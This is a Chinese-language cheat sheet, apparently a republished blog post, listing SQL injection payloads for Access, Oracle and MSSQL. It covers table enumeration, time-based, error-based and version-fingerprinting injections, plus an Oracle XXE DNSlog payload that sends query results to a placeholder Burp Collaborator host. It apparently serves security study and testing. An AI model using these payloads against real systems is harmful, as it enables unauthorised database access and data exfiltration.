不同数据库注入总结

Posted 向阳-Y.

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了不同数据库注入总结相关的知识,希望对你有一定的参考价值。

常见脚本语言+数据库搭配

python+mongodb
asp+access、asp+mysql
php+mysql
aspx+mssql、aspx+oracle
jsp+mssql或oracle等

Access:

1、没有系统自带表,想要知道表名只能爆破【and exist(select*from table_name)】或者猜一些常用的表名such as news、admin、user
2、不能直接select 1,2,3 必须要接表名 ==>> select 1,2,3 from admin

Oracle:

dual是oracle自带表:

select 'aaa' from dual;

同mysql的information_schema

select table_name from all_tables;
select columns_name from all_tables where table_name='USER';

时间注入:

select dbms_pipe.receive_message(('a'),10);
select count(*) from all_users t1, all_users t2, all_users t3, all_users t4, all_users t5

报错注入:

?id=1 and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1))

Version:

SELECT banner FROM v$version
SELECT version FROM v$instance

case when条件判断语句

select case when (substr(version(),1,1)='a') then 'a' || dbms_pipe.receive_message(('a'),10) else null end from dual;

DNSlog

SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual

SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual

sys_context函数
更多sys_context可获取的值

sys_context('USERENV', 'CURRENT_USER')
id=123' AND length(SYS_CONTEXT('USERENV','CURRENT_USER'))=3 AND 'xxx'='xxx

Mssql

@@version
@@servername
db_name()
user【当前用户】
IS_SRVROLEMEMBER()【数据库权限】
IS_MEMBER()
select top 1 name from admin;【这个应该和limit差不多】
判断是否为Mssql数据

id=1 and 1= exsits(select @@version)

从dbo.sysobjects来查询表

id =2 union all select (select db_name()) 【查询结果为数据库名】
id=-2 union all select (select top 1 name from 数据库名.dbo.sysobjects where xtype='u') 【例如:查询结果为表名】

从表中查询字段

id=-2 union all select (select top 1 col_name(object_id('表名'),1) from sysobjects) 
id=-2 union all select (select top 1 col_name(object_id('表名'),2) from sysobjects) 

延时注入

WAITFOR DELAY '0:0:10'

报错注入

and 1 = (select @@version)【报错,因为1为int型,@@version为字符型,所以会爆出相关信息】
and 1 = (convert(int,@@version))【报错,convert强制转换为int,但@@version是varchar类型,导致报错】

mysql&oracle&mssql的自带表不同

mysqloraclemssql
information_schemaall_tablessysobject
information_schema.tablesall_tables数据库名.dbo.sysobjects
table_nametable_nametop 1 name
column_namecolumn_nametop 1 col_name(object_id(‘表名’),1)

mysql&oracle&mssql的不同举例

mysqloraclemssql
ifcase when () then () else () endcase when () then () else () end
database()select name,dbid from v$databasedb_name()
sleep()receive_message()waitfor delay
version()select banner from v$version@@version
limit 0,1rownum=1top 1

不同的报错注入,这里只举例一个

mysqloraclemssql
updatexmlctxsys.drithsx.snconvert





以上是关于不同数据库注入总结的主要内容,如果未能解决你的问题,请参考以下文章

sql注入总结

SQL注入总结

依赖注入总结

Java JDBC概要总结一(基本操作和SQL注入问题)

mysql注入篇

Spring学习总结